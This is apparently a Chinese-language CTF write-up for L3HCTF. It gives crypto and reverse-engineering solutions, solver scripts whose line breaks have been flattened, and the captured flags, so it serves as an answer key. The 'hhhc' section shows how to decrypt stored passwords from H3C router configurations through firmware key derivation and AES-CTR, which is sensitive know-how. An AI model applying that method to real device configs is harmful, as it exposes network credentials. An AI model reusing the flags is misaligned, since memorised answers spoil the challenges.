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CRYPTO
can_you_guess_me
由于 t,e较小，a[i]之前关联关系可以完成格，开始只用了4项(1个和4个)，发现结果出不来，仔细构造两两组合，10项，结果出来了。
出了t之后，因为t比e位数多，找了两个互质的t，通过对t求mod就可以求出1个e，flag也就出来了。
代码如下：
from Crypto.Util.number import *from gmpy2 import *q = 313199526393254794805899275326380083313a = [258948702106389340127909287396807150259, 130878573261697415793888397911168583971, 287085364108707601156242002650192970665, 172240654236516299340495055728541554805, 206056586779420225992168537876290239524]RR=RationalField(256)M=Matrix(RR,15,15)for i in range(4):M[0,i]=(a[i+1])M[i+1,i]=a[0]*(-1)M[5+i,i]=q#M[5+i,i+9]=2^32for i in range(3):M[1,4+i]=(a[i+2])M[i+2,4+i]=a[1]*(-1)M[9+i,i+4]=qfor i in range(2):M[2,7+i]=(a[i+3])M[i+3,7+i]=a[2]*(-1)M[12+i,i+7]=qfor i in range(1):M[3,9+i]=(a[i+4])M[i+4,9+i]=a[3]*(-1)M[14+i,i+9]=qfor i in range(5):M[i,i+10]=1res=M.LLL()print(res[0])#print(res[1])#print(res[2])#print(res)t=[-70461467654746, -7976473815457, -179142956465832, -176554799971356, -145182873667321]for i in range(len(t)):t[i]=abs(t[i])print(t)print(gcd(t[3],t[1]))tmp=t[3]*a[1]-t[1]*a[3]tmp=tmp%qprint(tmp,len(bin(tmp))-2)tmp=q-tmpprint(tmp,len(bin(tmp))-2)tmp=tmp%t[1]e1=tmp*invert(t[3],t[1])%t[1]print(e1,len(bin(e1))-2)flag=(a[1]+e1)*invert(t[1],q)%qprint(flag)flag = "L3HSEC{" + hex(flag)[2:] + "}"print('flag =', flag)#flag = L3HSEC{ad4adc3d4b2001d0ddfa81e313cff80}
babySPN revenge
发现K最后4位，只在最后一步异或发生作用，所以结果前12位与最后4位无关，2^28，多线程应该可以跑了，进一步分析，再前4位影响不到第0,1,4,5位，剩下2^24，尝试单线程爆破，半个小时多点。
脚本：
import randomimport timefrom tqdm import tqdmfrom hashlib import sha256from Crypto.Util.number import *def bin_to_list(r, bit_len):list = [r >> d & 1 for d in range(bit_len)][::-1]return listdef list_to_int(list):return int("".join(str(i) for i in list), 2)Pbox=[1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 16]Sbox=[14, 13, 11, 0, 2, 1, 4, 15, 7, 10, 8, 5, 9, 12, 3, 6]def round_func(X,r,K):kstart=4*r - 4XX = [0] * 16for i in range(16):XX[i] = X[i] ^ K[kstart+i]for i in range(4):value = list_to_int(XX[4*i:4*i+4])s_value = Sbox[value]s_list = bin_to_list(s_value, 4)XX[4*i],XX[4*i+1],XX[4*i+2],XX[4*i+3] = s_list[0],s_list[1],s_list[2],s_list[3]Y=[0] * 16for i in range(16):Y[Pbox[i]-1]=XX[i]return Ydef enc(X,K):Y = round_func(X,1,K)Y = round_func(Y,2,K)Y = round_func(Y,3,K)Y = round_func(Y,4,K)kstart=4*5 - 4for i in range(16):Y[i] ^= K[kstart+i]return Ymb=[[0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1],[0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0],[0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1],[0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1]]base_bj=0for iii in tqdm(range(2**24)):base=bin_to_list(2**24-1-iii,24)a=[0]*8K=base+aif base_bj==1:break#print("K=",K)#print("*"*64)XX = [0]*16check_bj=1for i in range(4):XX[i*4] = 1tmp=(enc(XX,K))XX[i*4] = 0#print(i,tmp)if(tmp[0]!=mb[i][0]):check_bj=0if(tmp[1]!=mb[i][1]):check_bj=0if(tmp[4]!=mb[i][4]):check_bj=0if(tmp[5]!=mb[i][5]):check_bj=0breakif check_bj==1:print("check:",base)for ii2 in range(2**8):aa=bin_to_list(ii2,8)K=base+aaXX = [0] * 16check_bj2=1for i in range(4):XX[i * 4] = 1tmp = (enc(XX, K))XX[i * 4] = 0if tmp!=mb[i]:check_bj2=0breakif check_bj2==1:print("okokok")print(K)hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()print(hash_value)flag = "L3HCTF{" + hash_value + "}"print(flag)base_bj=1break#L3HCTF{852e3b2ae059c411ee14c7c460dcbaed483b3858cb680e10d211e256cf4b639e}
badrlwe
考虑模f的特殊性，发现b的x^1023-x^65这些项的系数直接为a*s + e的相应项的系数，是一个线性关系(a已知)，s仅仅64项，取值2^8,e也是个小数值，可以用格获取s,代码：(写代码时a和s符号弄反了，就将错就错了)
from Crypto.Util.number import *from random import *import randomimport numpy as npq = 1219077173R.<x> = PolynomialRing(Zmod(q), 'x')N = 1024b=216047404*x^1023 + 1008199117*x^1022 + 39562072*x^1021 + 189992355*x^1020 + 1087671639*x^1019 + 541371337*x^1018 + 1146044200*x^1017 + 212969175*x^1016 + 1114159572*x^1015 + 1112032860*x^1014 + 1204883609*x^1013 + 1181544913*x^1012 + 851496082*x^1011 + 222877006*x^1010 + 163176236*x^1009 + 268697504*x^1008 + 613151090*x^1007 + 1185245256*x^1006 + 215725010*x^1005 + 789898500*x^1004 + 1156619111*x^1003 + 610859911*x^1002 + 959814483*x^1001 + 684353251*x^1000 + 290850651*x^999 + 675880502*x^998 + 836239751*x^997 + 487296407*x^996 + 778816128*x^995 + 1013639221*x^994 + 189137575*x^993 + 172217836*x^992 + 572872008*x^991 + 865759581*x^990 + 399805736*x^989 + 394587004*x^988 + 633085719*x^987 + 15142893*x^986 + 461176831*x^985 + 1078060208*x^984 + 787396508*x^983 + 877420202*x^982 + 1121486845*x^981 + 146921816*x^980 + 670134387*x^979 + 574407635*x^978 + 1148395437*x^977 + 748514947*x^976 + 970442995*x^975 + 280085063*x^974 + 420670822*x^973 + 20159574*x^972 + 219680665*x^971 + 401202858*x^970 + 328444623*x^969 + 623312316*x^968 + 917712264*x^967 + 588061576*x^966 + 625482841*x^965 + 220929234*x^964 + 778461001*x^963 + 498203565*x^962 + 1055981771*x^961 + 70562147*x^960 + 931081750*x^959 + 93569863*x^958 + 314876311*x^957 + 932364613*x^956 + 1132016772*x^955 + 371703330*x^954 + 189301560*x^953 + 739232608*x^952 + 916695967*x^951 + 399818344*x^950 + 558604923*x^949 + 1092603913*x^948 + 987195616*x^947 + 665679589*x^946 + 1142632478*x^945 + 198797278*x^944 + 110832477*x^943 + 775688737*x^942 + 275416086*x^941 + 435656120*x^940 + 754150483*x^939 + 1024583186*x^938 + 972075461*x^937 + 1071060217*x^936 + 710789980*x^935 + 691361770*x^934 + 1097024307*x^933 + 862356288*x^932 + 354500195*x^931 + 158151296*x^930 + 733475281*x^929 + 215008492*x^928 + 151139272*x^927 + 1000425669*x^926 + 590964357*x^925 + 373950911*x^924 + 43038800*x^923 + 338044906*x^922 + 293954870*x^921 + 393479*x^920 + 555095359*x^919 + 418829106*x^918 + 95391760*x^917 + 897658305*x^916 + 1040609125*x^915 + 239948276*x^914 + 1190720461*x^913 + 160498737*x^912 + 394967890*x^911 + 104302686*x^910 + 48021969*x^909 + 761000569*x^908 + 356140410*x^907 + 225246587*x^906 + 79172445*x^905 + 975365689*x^904 + 1077396491*x^903 + 728717352*x^902 + 964273647*x^901 + 258781036*x^900 + 746930481*x^899 + 793742220*x^898 + 542128050*x^897 + 562413014*x^896 + 701216258*x^895 + 928704966*x^894 + 98656502*x^893 + 1016152774*x^892 + 140544845*x^891 + 226416702*x^890 + 309310359*x^889 + 519065123*x^888 + 346740110*x^887 + 116615122*x^886 + 990804519*x^885 + 208648062*x^884 + 605381435*x^883 + 821163414*x^882 + 864698754*x^881 + 424773230*x^880 + 1184139330*x^879 + 437390254*x^878 + 41435781*x^877 + 824197241*x^876 + 1181823353*x^875 + 354135255*x^874 + 921600154*x^873 + 972782404*x^872 + 304175744*x^871 + 976950586*x^870 + 561195955*x^869 + 840601911*x^868 + 848362310*x^867 + 698380233*x^866 + 703722831*x^865 + 527081934*x^864 + 996708932*x^863 + 926257884*x^862 + 113808466*x^861 + 111022399*x^860 + 336240881*x^859 + 281602555*x^858 + 456022351*x^857 + 303940681*x^856 + 1152960332*x^855 + 762827305*x^854 + 1097893502*x^853 + 1159492861*x^852 + 791288185*x^851 + 552596428*x^850 + 1160303133*x^849 + 855459983*x^848 + 870046128*x^847 + 412042730*x^846 + 527317697*x^845 + 118258027*x^844 + 1156090191*x^843 + 1184418516*x^842 + 736914609*x^841 + 1042440949*x^840 + 1118336201*x^839 + 692314475*x^838 + 888141647*x^837 + 611975215*x^836 + 112482309*x^835 + 774541929*x^834 + 877613260*x^833 + 218484596*x^832 + 744043072*x^831 + 1149426359*x^830 + 1086732941*x^829 + 218727414*x^828 + 111004493*x^827 + 48035668*x^826 + 1129753198*x^825 + 410088959*x^824 + 1186919074*x^823 + 291266088*x^822 + 622780685*x^821 + 908030149*x^820 + 152548456*x^819 + 970996704*x^818 + 643233117*x^817 + 97648457*x^816 + 167039372*x^815 + 451159004*x^814 + 21522258*x^813 + 446568222*x^812 + 97236135*x^811 + 601480363*x^810 + 896523050*x^809 + 635312918*x^808 + 771155729*x^807 + 727217487*x^806 + 1103325662*x^805 + 1145702253*x^804 + 111451279*x^803 + 709647761*x^802 + 155865734*x^801 + 788861657*x^800 + 25328658*x^799 + 387592047*x^798 + 631380316*x^797 + 195654331*x^796 + 379901017*x^795 + 110746571*x^794 + 821639667*x^793 + 1196705497*x^792 + 926725497*x^791 + 752090468*x^790 + 565928514*x^789 + 107924077*x^788 + 1035444397*x^787 + 389590222*x^786 + 746022468*x^785 + 1152494936*x^784 + 1047183126*x^783 + 935173423*x^782 + 237022259*x^781 + 68211471*x^780 + 682392084*x^779 + 900610142*x^778 + 659697118*x^777 + 381789469*x^776 + 895479393*x^775 + 342674862*x^774 + 1034152415*x^773 + 736863278*x^772 + 233824501*x^771 + 511543257*x^770 + 43539547*x^769 + 871109943*x^768 + 234226499*x^767 + 958639125*x^766 + 913885377*x^765 + 757234386*x^764 + 330354514*x^763 + 693659124*x^762 + 46757147*x^761 + 24910108*x^760 + 263754046*x^759 + 1007999117*x^758 + 569158879*x^757 + 781185896*x^756 + 328234792*x^755 + 1166796778*x^754 + 1023882729*x^753 + 1126014838*x^752 + 412948341*x^751 + 745762031*x^750 + 184601330*x^749 + 1195686854*x^748 + 226180761*x^747 + 813440273*x^746 + 198496604*x^745 + 646284299*x^744 + 775658802*x^743 + 1051631440*x^742 + 382010443*x^741 + 884529292*x^740 + 1171509241*x^739 + 148470016*x^738 + 545551560*x^737 + 895321797*x^736 + 990533556*x^735 + 1006826878*x^734 + 444425261*x^733 + 538658289*x^732 + 1201448839*x^731 + 813543244*x^730 + 866138640*x^729 + 992484781*x^728 + 797592952*x^727 + 5350520*x^726 + 1088776239*x^725 + 1011384293*x^724 + 202279961*x^723 + 580990742*x^722 + 608736084*x^721 + 592191483*x^720 + 603821965*x^719 + 686032966*x^718 + 309449994*x^717 + 997796743*x^716 + 323694959*x^715 + 404631321*x^714 + 684041814*x^713 + 954922509*x^712 + 17334061*x^711 + 1038027065*x^710 + 189030167*x^709 + 238786122*x^708 + 854157242*x^707 + 857322405*x^706 + 847505723*x^705 + 531600098*x^704 + 413144959*x^703 + 150862275*x^702 + 176120020*x^701 + 147651128*x^700 + 20961937*x^699 + 924892688*x^698 + 207889399*x^697 + 506289209*x^696 + 201657090*x^695 + 866897606*x^694 + 282950189*x^693 + 484625027*x^692 + 720969770*x^691 + 557487808*x^690 + 664292309*x^689 + 667236796*x^688 + 505039446*x^687 + 636507041*x^686 + 717904854*x^685 + 742491214*x^684 + 235380401*x^683 + 885103138*x^682 + 227708439*x^681 + 195450351*x^680 + 914408549*x^679 + 890140153*x^678 + 959662247*x^677 + 655663410*x^676 + 682768547*x^675 + 1063757282*x^674 + 776284911*x^673 + 1114588219*x^672 + 689022198*x^671 + 1160585767*x^670 + 784564493*x^669 + 599804982*x^668 + 954265199*x^667 + 1160092910*x^666 + 1178991310*x^665 + 610146522*x^664 + 589028938*x^663 + 972903553*x^662 + 933544074*x^661 + 910101746*x^660 + 1199479046*x^659 + 129564572*x^658 + 16630574*x^657 + 604268174*x^656 + 905616984*x^655 + 229755095*x^654 + 543777663*x^653 + 880642044*x^652 + 750742780*x^651 + 801027824*x^650 + 59869899*x^649 + 178293151*x^648 + 413473523*x^647 + 790966353*x^646 + 36947608*x^645 + 215402931*x^644 + 198271237*x^643 + 394503398*x^642 + 933396244*x^641 + 764498758*x^640 + 960831635*x^639 + 710558646*x^638 + 160491214*x^637 + 161213508*x^636 + 932611994*x^635 + 226519192*x^634 + 554464756*x^633 + 82595536*x^632 + 1144714763*x^631 + 361090580*x^630 + 747809061*x^629 + 114293244*x^628 + 253349999*x^627 + 1051279816*x^626 + 1079507344*x^625 + 864605458*x^624 + 1100098300*x^623 + 323233106*x^622 + 1070769430*x^621 + 1048471132*x^620 + 23281664*x^619 + 1099148878*x^618 + 812556000*x^617 + 452606567*x^616 + 892217880*x^615 + 741556204*x^614 + 37168552*x^613 + 286980867*x^612 + 1125383508*x^611 + 782814488*x^610 + 1214851511*x^609 + 270577673*x^608 + 364433480*x^607 + 825553809*x^606 + 589475297*x^605 + 293114041*x^604 + 1115978872*x^603 + 21831218*x^602 + 856821602*x^601 + 213782489*x^600 + 287159884*x^599 + 1015101950*x^598 + 494211644*x^597 + 38143731*x^596 + 882805771*x^595 + 721674528*x^594 + 120092153*x^593 + 636819567*x^592 + 365557574*x^591 + 619653423*x^590 + 1207892829*x^589 + 971282528*x^588 + 379459809*x^587 + 507124241*x^586 + 1050378769*x^585 + 113715629*x^584 + 841835564*x^583 + 1055649818*x^582 + 904319486*x^581 + 83232231*x^580 + 282044435*x^579 + 11563226*x^578 + 283283452*x^577 + 515932154*x^576 + 415242679*x^575 + 686396058*x^574 + 414011723*x^573 + 22692318*x^572 + 593039855*x^571 + 42054428*x^570 + 242713788*x^569 + 756543053*x^568 + 297264974*x^567 + 656668981*x^566 + 103185189*x^565 + 279211827*x^564 + 66472175*x^563 + 221289056*x^562 + 418547255*x^561 + 587378319*x^560 + 781217899*x^559 + 828907515*x^558 + 1026785730*x^557 + 936576598*x^556 + 914519864*x^555 + 458326840*x^554 + 846364356*x^553 + 1048948157*x^552 + 276890468*x^551 + 211463242*x^550 + 611009955*x^549 + 41350370*x^548 + 1120260432*x^547 + 1217213406*x^546 + 1096884636*x^545 + 107298827*x^544 + 556646889*x^543 + 514714957*x^542 + 592531623*x^541 + 1185635127*x^540 + 866796164*x^539 + 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815953366*x^12 + 389050726*x^11 + 1167287391*x^10 + 397052468*x^9 + 275572458*x^8 + 548665509*x^7 + 1202175986*x^6 + 518662014*x^5 + 1084425257*x^4 + 7854568*x^3 + 274607457*x^2 + 162444786*x + 410560230bxx=list(s)print(bxx,len(bxx))sxx=list(b)print(sxx,len(sxx))M=Matrix(ZZ,130,130)for i in range(65):M[0,i]=int(bxx[1023-i])for j in range(64):M[j+1,i]=int(sxx[1023-i-j])M[i+65,i]=qM[i,i+65]=1M[0,65]=2^8for i in range(1):print(i,M[i])print("******************LLL BEGIN********************")res=M.LLL()print(res[0])flag=""for i in range(64):if abs(Integer(res[0][66+i]))>256:breakflag+=chr(Integer(res[0][66+i]))print(flag)#Y0u_R@411Y_Kn0w_CyclOtom1c_Poly!AK@Co!<J>^5#DQ}oDo=o(j7$%<1T8h1r#
babySPN
通过题目可知：
assert flag[7:-1] == hash_value其中K已知，可以得到hash_value，得到flag
from hashlib import *from Crypto.Util.number import *def bin_to_list(r, bit_len):list = [r >> d & 1 for d in range(bit_len)][::-1]return listdef list_to_int(list):return int("".join(str(i) for i in list), 2)K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()print("L3HCTF{"+hash_value+"}")#L3HCTF{6abd8c217785dc1a7074a1bdc624bd41c6307100cf5e01ee6c58708e0eeb4ce8}
REVERSE
babycom
dll里是一个展开的XTEA和一个AES
调试取出XTEA密钥并patch程序为call CryptDecrypt来解密AES
最后解密XTEA即可
//加密函数void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){unsigned int i;uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x114514;for (i = 0; i < num_rounds; i++){v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);sum += delta;v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);}v[0] = v0;v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){unsigned int i;uint32_t v0 = v[0], v1 = v[1], delta = 0x114514, sum = delta * num_rounds;for (i = 0; i < num_rounds; i++){v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);sum -= delta;v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);}v[0] = v0;v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t *v, int n, bool hex_or_chr){if (hex_or_chr){for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++){printf("%02x,", (v[i] >> (j * 8)) & 0xFF);}}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("n");return;}int main(){// v为要加解密的数据uint32_t v[] = {0x74c1b42a, 0x5aa59d6, 0x9c7f1073, 0x62994940, 0x8f51843c, 0xf1ab373f, 0x9661fe0e, 0x6a41ad45};// k为加解密密钥，4个32位无符号整数，密钥长度为128位uint32_t k[4] = {0x1cd43eea, 0x47d7cb70, 0xdbca5e98, 0x2b390c53};// num_rounds，建议取值为32unsigned int r = 32;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据：");dump_data(v, n, 1);for (int i = 0; i < n / 2; i++){encrypt(r, &v[i * 2], k);}*/printf("加密后密文数据：");dump_data(v, n, 1);for (int i = 0; i < n / 2; i++){decrypt(r, &v[i * 2], k);}printf("解密后明文数据：");dump_data(v, n, 1);printf("解密后明文字符：");dump_data(v, n, 0);return 0;}// L3HCTF{C0M_Th3C0d3_1s_FuN!!!!!!}
box
libtermux-bootstrap.so提取压缩包
sokoban是验证推箱子游戏的逻辑，本身包含一个地图
跑完sokoban自身包含的地图后，busybox重置了地图并开始第二轮推箱子验证
推箱子求解器，https://github.com/KnightofLuna/sokoban-solver
两段路径要合起来输入，md5验证通过
调试得到flag，L3HCTF{a5120816c23ee51dde505b016d6bb5ab}
DAG
python字节码，先问gpt，再手动调整
str1~str8直接爆，算出num1
num2和num3正则找出参数列表也能直接算
import randomimport redef func1(lss, i, j):# 初始条件判断，涉及数组元素比较if arr[i * len(lss) + j] != -1:return arr[i * len(lss) + j]# 创建列表，并进行某些操作，似乎是在处理s1和s2两个子列表s1 = list(lss[i])s2 = list(lss[j])l1 = len(s1)l2 = len(s2)flag = Truen = 0# 比较l1和l2的长度差是否为1if l1 - l2 == 1:for m in range(l1):if s1[m] != s2[n]:if flag:flag = Falseelse:# 对arr进行某种更新，但具体逻辑需要根据上下文确定arr[i * len(lss) + j] = 0return 0else:n += 1if n == l2:breakelse:# 另一种情况下对arr的更新arr[i * len(lss) + j] = 0return 0# 根据某种条件更新arrarr[i * len(lss) + j] = 1return 1def abc(lss, i):if abcarray[i] > 0:return abcarray[i]m = 1 # 初始化mfor index, word in enumerate(lss):if func1(lss, i, index) == 1: # 调用func1并检查返回值# 使用max函数更新m的值，这里假设abc函数或变量提供了某种逻辑m = max(m, abc(lss, index) + 1)abcarray[i] = m # 更新abcarray在i索引处的值return mdef solution(lss):global abcarray, arrabcarray = [-1] * len(lss) # 初始化 abcarray 为 -1 的列表，长度与 lss 相同arr = [-1] * (len(lss) ** 2) # 初始化 arr 为 -1 的列表，长度为 lss 的平方ans = 1 # 初始化 ans 为 1for i in range(len(lss)): # 遍历 lssabc_ans = abc(lss, i)#print(abc_ans, lss[i])ans = max(ans, abc_ans) # 更新 ans 的值，假设 abc 是一个在外部定义的函数return ansdef func2(n):a, b = 1, 1 # 初始化a和bfor i in range(n-1): # 遍历n-1次a, b = b, a + b # 更新a和b的值return a # 返回a的值def calc(nums):num1, num2, num3 = nums[0], nums[1], nums[2]# 对num1进行特定的数学和位运算num1 = 2023 + (num1 & 15) - (num1 & 240)# 更新num2的值num2 = func2(num2 + 7)# 使用num3作为随机数生成的种子random.seed(num3)# 构建flag字符串flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}".replace('.', 'x')# 打印并返回flagprint(f"flag={flag}")return flagdef encode(s):ret = [] # 初始化结果列表ls = list(s) # 将输入字符串转换为字符列表# 遍历字符列表，步长为2for i in range(0, len(ls), 2):num1 = ord(ls[i]) # 获取第一个字符的ASCII值num2 = ord(ls[i + 1]) # 获取第二个字符的ASCII值# 位运算处理numa = (num1 & 248) >> 3 # 获取num1的高位部分numb = ((num1 & 7) << 3) | ((num2 & 240) >> 4) # 合并num1的低位和num2的高位numc = num2 & 15 # 获取num2的低位部分# 将处理结果添加到ret列表中ret += [numa, numb, numc]return retif __name__ == '__main__':str1, str2, str3, str4 = "ba", "ab", "bc", "cb"str5, str6, str7, str8 = "bdca", "bacd", "bbbb", "acdb"num1 = solution(['a', str1, str2, str3, str4, 'bda', str5, str6, str7,str8, 'bcdef', 'aabcc', 'acbac', 'bdcaa', 'bbbbcc', 'babccc', 'abaccc'])with open("bytecode.txt", "r") as f:data = f.readlines()[180:]pat = re.compile(r".*?LOAD_CONST.*?((.*?))")args = []for line in data:se = re.search(pat, line)if se != None:args.append(se.group(1))if "CALL_FUNCTION" in line:breaknum2 = solution(args)with open("bytecode.txt", "r") as f:data = f.readlines()[1950:]pat = re.compile(r".*?LOAD_CONST.*?((.*?))")args = []for line in data:se = re.search(pat, line)if se != None:args.append(se.group(1))if "CALL_FUNCTION" in line:breaknum3 = solution(args)calc([num1, num2, num3])# flag=202817711117711x25763695063
ez_rust
参考
https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/
取出/assets/index-tWBcqYh-.js
循环异或和base64，直接解密即可
import base64key = "secret"enc = "JFYvMVU5QDoNQjomJlBULSQaCihTAFY="enc_de = list(base64.b64decode(enc))for i in range(len(enc_de)):enc_de[i] ^= ord(key[i % len(key)])print(bytes(enc_de))# W3LC0M3_n0_RU57_AnyM0r3
hhhc
version 7.1.064, Release 0821P16根据cfg里的信息找到其中一个路由的固件。
MER8300-CMW710-R0821P16.ipe
之后在git上找到一份ipe的解包脚本:
https://github.com/zzxzhuo/H3C-IPE-Unarchiver/blob/master/unarchive_ipe.py
不过这脚本只是拆解出分区数据，还得继续解。
也是类似的结构，文件名和文件大小，提取并解压后成功提取到文件。
在题目提供的cfg文件中找到加密后的密码。
ppp chap password cipher $c$3$TKYJXT4RmMIvPHQX+5Ehf9oD3kjskIur3PGJfR/7fEyqfbx0K0DAokR0pd3rsRbWR5t9Cr3xSbYoPdogCg==ppp chap user hustpppoe114514ppp pap local-user hustpppoe114514 password cipher $c$3$3PbDU2m2/6Neiiz9iO+i641UKjafFMvrfphBc3fmrZ+9Q2TZu3g5l2Hlg1gJWO6ZQLJ4S+r85qU8EQpqQQ==
密文最后采用base64编码了，通过搜索base64编码表，最终猜测加密函数在libencrypt.so，从so文件名上也能看出来。
==解码IV:4C A6 09 5D 3E 11 98 C2 2F 3C 74 17 FB 91 21 7FCT:DA 03 DE 48 EC 90 8B AB DC F1 89 7D 1F FB 7C 4CAA 7D BC 74 2B 40 C0 A2 44 74 A5 DD EB B1 16 D647 9B 7D 0A BD F1 49 B6 28 3D DA 20 0A 02 9A 6901 C8 5A A4 0B AC 7A B0 21 BA CB 69 A6 9A 1E D75E 39 D7
到这里可以看出前0x10字节是IV，并且是取的随机数。
key通过KEY_GetKey(4, 0x20)获取。
解析key-data。
从0x102偏移处开始提取多组密钥数据。
第四组密钥数据
ID: 00 03, SIZE: 00 34IV:9B 33 AE DE 8E 29 B2 2A 9E D1 8C 1D CD A7 32 58CT:DF BF 4E 75 AD D5 29 2B 54 78 BE 47 89 04 14 8A 34 7B F4 FD EC FC 7A EE 87 AF 83 C6 2E 3B 0B 26 42 2F 13 48 07 0B 44 65 AD A8 CA 0F F4 8D 96 10 84 68 7B 6A
密钥数据也是采用AES-CTR保护。
key-data [2:0x102] 传入KEY_GetKeyDbEncrKey。
这里有坑，分段和换顺序update。
from hashlib import sha512unk = open('./key-data', 'rb').read()[2:0x102]a = sha512()a.update(unk[0x40:0x80])a.update(unk[0x0:0x40])a.update(unk[0x80:])print(a.digest()[:0x20].hex())# 'ecc679703bb2daf7c09a941cb992dcdd03150e0f67ed9b32a548d8624add9c07'
将算出来的哈希值填入aes-ctr key。
解出
iv_size: 0010， key_size: 0020IV: c695c466f32e90d0fb12ed31c5c72265 没使用KEY: a2e6658865746b4b954f0bd37fd1ece03b1acb47fbc543ec32d35987b20b6866
将得到的key和之前base64解码得到的iv和密文代入解密出flag。
应该有更简单的做法。qemu运行直接调用PASSWORD_decrypt。
dictionary compression
看了一眼题目只处理abc字符，而且题目也打印了压缩后的bit数据，直接爆。
import subprocessfrom itertools import productimport timedef test(flag):open('./flag.txt', 'wb').write(flag.encode())res = subprocess.check_output('./main.exe')return res.decode().split('n')[-3]output = open('./output_orig', 'rb').read()bits = output[0]s = ''for i in range(1, len(output)-1):s += bin(output[i])[2:].zfill(8)s += bin(output[-1])[2:]correct = sdef dfs(fullpath=''):for ch in 'abc':comp_bits = test(fullpath+ch)if correct[:-5].startswith(comp_bits[:-5]):dfs(fullpath+ch)if correct == comp_bits:print(fullpath+ch)dfs()# bbccaacbcacbacbaaabcacbaaabcccaaaabbaaabprint('jieshula!')
ez_stack
直接在ida里下条件断点抓数据，分析算法。
opcode
0xF00xE0 //putchar0xD0 //getchar0xC0 //shlshr???0xB0 //or0xA0 //and0x90 //xor0x80 //sub0x70 //add0x60 //dup0x50 //pop0x40 //push0x300x200x10 //pushimm
条件断点脚本
# 4023AE subimport structrbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)if size == 4:v1, v2 = struct.unpack('<2I', stk2_data)v = (v1-v2)&0xFFFFFFFFprint(f'0x{v1:08X}-0x{v2:08X}=0x{v:08X}')elif size == 1:v1, v2 = struct.unpack('<2B', stk2_data)v = (v1-v2)&0xFFprint(f'0x{v1:02X}-0x{v2:02X}=0x{v:02X}')else:print(f'{size=:#X}')return 0
# 4021ED addimport structrbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)if size == 4:v1, v2 = struct.unpack('<2I', stk2_data)v = (v1+v2)&0xFFFFFFFFprint(f'0x{v1:08X}+0x{v2:08X}=0x{v:08X}')elif size == 1:v1, v2 = struct.unpack('<2B', stk2_data)v = (v1+v2)&0xFFprint(f'0x{v1:02X}+0x{v2:02X}=0x{v:02X}')else:print(f'{size=:#X}')return 0
# 402571 xorimport structrbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)if size == 4:v1, v2 = struct.unpack('<2I', stk2_data)v = (v1^v2)&0xFFFFFFFFprint(f'0x{v1:08X}^0x{v2:08X}=0x{v:08X}')elif size == 1:v1, v2 = struct.unpack('<2B', stk2_data)v = (v1^v2)&0xFFprint(f'0x{v1:02X}^0x{v2:02X}=0x{v:02X}')else:print(f'{size=:#X} xor {stk2_data[:size].hex()}^{stk2_data[size:].hex()}')return 0
分析记录数据
算法很简单，结合上下文就能推出来。
0x00000000+0x9E3779B9=0x9E3779B9 sum0x31313131^0x9E3779B9=0xAF064888 t0 = inp[(j+1)%8]^sum0xAF064888+0x547FA369=0x0385EBF1 t1 = t0+keys[j]0xB9B9B9B8^0x0385EBF1=0xBA3C5249 t2 = (inp[(j+7)%8]<<3)^t10x01898989^0xBA3C5249=0xBBB5DBC0 t3 = (inp[(j+1)%8]>>5)^t20x30303030+0xBBB5DBC0=0xEBE60BF0 inp[j] = inp[j]+t30x32323232^0x9E3779B9=0xAC054B8B t0 = inp[(j+1)%8]^sum0xAC054B8B+0x43AF51A7=0xEFB49D32 t1 = t0+keys[j]0x5F305F80^0xEFB49D32=0xB084C2B2 t2 = (inp[(j+7)%8]<<3)^t10x01919191^0xB084C2B2=0xB1155323 t3 = (inp[(j+1)%8]>>5)^t20x31313131+0xB1155323=0xE2468454 inp[j] = inp[j]+t3......
加密
